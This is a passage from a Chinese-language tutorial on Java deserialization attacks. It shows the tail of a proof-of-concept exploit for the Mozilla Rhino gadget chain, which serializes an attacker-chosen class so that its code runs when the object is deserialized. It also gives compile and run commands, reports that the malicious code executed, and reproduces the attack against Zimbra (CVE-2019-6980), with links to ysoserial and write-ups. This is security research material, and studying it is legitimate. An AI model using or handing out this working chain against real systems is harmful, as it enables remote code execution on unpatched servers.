org.mozilla.javascript.JavaAdapter.writeAdapterObject() */ public static void PrivateWriteAdapterObject ( Object javaObject, ObjectOutputStream out ) throws IOException { out.writeObject( "java.lang.Object" ); out.writeObject( new String[0] ); out.writeObject( javaObject ); } public static void main ( String[] argv ) throws Exception { String evilclass = argv[0]; Object obj = getObject( evilclass ); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); ByteArrayInputStream bis = new ByteArrayInputStream( bos.toByteArray() ); ObjectInputStream ois = new ObjectInputStream( bis ); ois.readObject(); } } -------------------------------------------------------------------------- 看MozillaRhino2.java时有个疑惑,感觉它设置了两次NativeJavaArray.prototype, 觉得没必要。编写NativeJavaObjectExec.java时我就只设置了一次,用1.7R2测试无 误。后来用1.6R7测试时,意外发现此处有坑,对于1.6R7,必须设置两次,这两次设 置的并不是同一个成员变量,分属父类、子类,如果只设其中一个,各有原因致使失 败。 javac \ -encoding GBK -g -XDignore.symbol.file \ -cp "js-1.6R7.jar" \ NativeJavaObjectExec6.java java \ -cp "js-1.6R7.jar:." \ NativeJavaObjectExec6 JacksonExploit.class 抛出异常,但恶意代码已被执行。 10.2.5) CVE-2019-6980(Zimbra) 参[91],tint0发现的洞,中国人fnmsd提供复现细节。 Synacor Zimbra Collaboration Suite 8.7.x through 8.8.11 allows insecure object deserialization in the IMAP component. tint0写道: -------------------------------------------------------------------------- There are two main points. First, the class NativeJavaObject on deserialization will store all members of an object's class. Members refer to all elements that define a class such as variables and methods. In Rhino context, it also detects when there's a getter or setter member and if so, it declares and includes the corresponding bean as an additonal member of this class. Second, a call to NativeJavaObject.get() will search those members for a matching bean name and if one is found, invoke that bean's getter. These match the nature of one of the native 'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino will invoke TemplatesImpl.getOutputProperties() which will eventually lead to the construction of a malicious class from our predefined bytecodes. Searching for a place that we can control the passed-in member name leads to the discovery of JavaAdapter.getObjectFunctionNames() and it's directly accessible from NativeJavaObject.readObject(). -------------------------------------------------------------------------- 6个月后终于彻底看懂上面这段话。 Zimbra 8.6.0的yuicompressor-2.4.2-zimbra.jar含有: org.mozilla.javascript.* 按tint0的说法,源自1.6R7。 /opt/zimbra/java/bin/java \ -cp "yuicompressor-2.4.2-zimbra.jar:." \ NativeJavaObjectExec6 JacksonExploit.class 得手。 ☆ 参考资源 [52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包) git clone https://github.com/frohoff/ysoserial.git [89] https://repo1.maven.org/maven2/rhino/js/1.6R7/js-1.6R7.jar https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2.jar https://repo1.maven.org/maven2/rhino/js/1.7R2/js-1.7R2-sources.jar Return of the Rhino: An old gadget revisited - Matthias Kaiser [2016-05-04] https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html [90] 利用反序列化进行JNDI注入 - Twings [2020-05-12] https://aluvion.gitee.io/2020/05/12/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E8%A1%8CJNDI%E6%B3%A8%E5%85%A5/ [91] A Saga of Code Executions on Zimbra - An Trinh [2019-03-13] https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6980 Zimbra SSRF+Memcached+反序列化漏洞利用复现 - fnmsd [2019-04-12] https://blog.csdn.net/fnmsd/article/details/89235589